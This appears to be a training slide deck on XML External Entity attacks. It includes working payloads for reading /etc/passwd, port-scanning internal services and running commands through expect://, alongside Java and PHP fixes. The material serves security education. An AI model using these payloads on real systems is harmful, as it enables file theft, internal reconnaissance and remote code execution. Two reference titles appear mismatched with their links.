Introduction to XML External Entity attack and leveraging it to perform DoS, SSRF, Port Scanning and Remote Code Execution

1. XML eXternal Entity Attack (XXE)
By:
Samit Anwer
samit.anwer@gmail.com
and other related attacks

2. Agenda
• Document Type Definition
• Prerequisites to perform an XXE attack
• Outcomes
• Fixing XXE vulnerabilities

3. Document Type Definition (DTD)
Internal DTD External DTD
DTD defines the structure - legal elements, entities and attributes of an XML doc

4. • Common references shared between multiple XML documents
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [ <!ELEMENT copyright (#PCDATA)> <!ENTITY c SYSTEM
"http://www.xmlwriter.net/copyright.xml"> ]>
<copyright>&c;</copyright>
Why External Entities?
• Security issues arise because PHP places no restrictions on what URLs can
be accessed, even if allow_url_fopen is set to false in php.ini

5. Prerequisites to perform an XXE
• The application parses XML documents
• Tainted data is allowed within the system identifier of the entity, within the DTD
• The XML processor is configured to validate and process the DTD
• The XML processor is configured to resolve external entities within the DTD

6. • Disclosure of confidential data / file inclusion
• Server Side Request Forgery (SSRF)
• Port Scanning
• DoS on the parsing system
• Remote Code Execution
Outcomes

7. File inclusion
• local file must be valid XML
• What if it is not?
• It is possible to encode binary files as a Base64 encoded string
• What if the confidential file is not reflected in the response?
<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]> <scan>&test;</scan>
<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>
Back
DEMO

8. SSRF
• an attacker has the ability to create requests from the vulnerable server
Back
DEMO
Go to Appendix

9. Port Scanning
• It is possible to specify ports to which the XML parser will connect
• As long as PHP error messages are enabled you get back the banner of the service
running even if the port doesn't support the HTTP protocol
• What if error messages are disabled?
Time is your friend!
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>
Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed!
SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5 in testxml.php on line 10
Back

10. DoS
• Billion laughs attack
• Try opening file:///dev/random
https://en.wikipedia.org/wiki/Billion_laughs
Back

11. Remote Code Execution
<!DOCTYPE root [<!ENTITY foo SYSTEM "expect://id">]>
<methodCall>
<methodName>&foo;</methodName>
</methodCall>
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault><value><struct><member><name>faultCode</name><value><int>620</int></value></member><member><name>
faultString</name><value>
<string>Method &quot;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&quot; does not exist</string>
</value></member></struct></value></fault></methodResponse>
Request:
Response:
Back

12. Fixes – JAVA
• Disable DTDs
• If it is not possible to disable DTDs completely, then
• Disable external entity
• Disable external DTDs
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities" , false);
factory.setFeature(“http://apache.org/xml/features/nonvalidating/load-external-dtd” , false);

13. Fixes - PHP
• libxml_disable_entity_loader(true);
• Refer -
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Chea
t_Sheet#PHP
Fixes – iOS, .NET, C/C++

14. References
• DTD tutorial
http://edutechwiki.unige.ch/en/DTD_tutorial
• XML External Entity (XXE) Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
• XML External Entity (XXE) Prevention Cheat Sheet
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP
• Scanning the internal network using SimpleXML
http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html
• Identifying Xml eXternal Entity vulnerability (XXE)
https://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/

15. Thank You!
Q/A?

16. Appendix
Back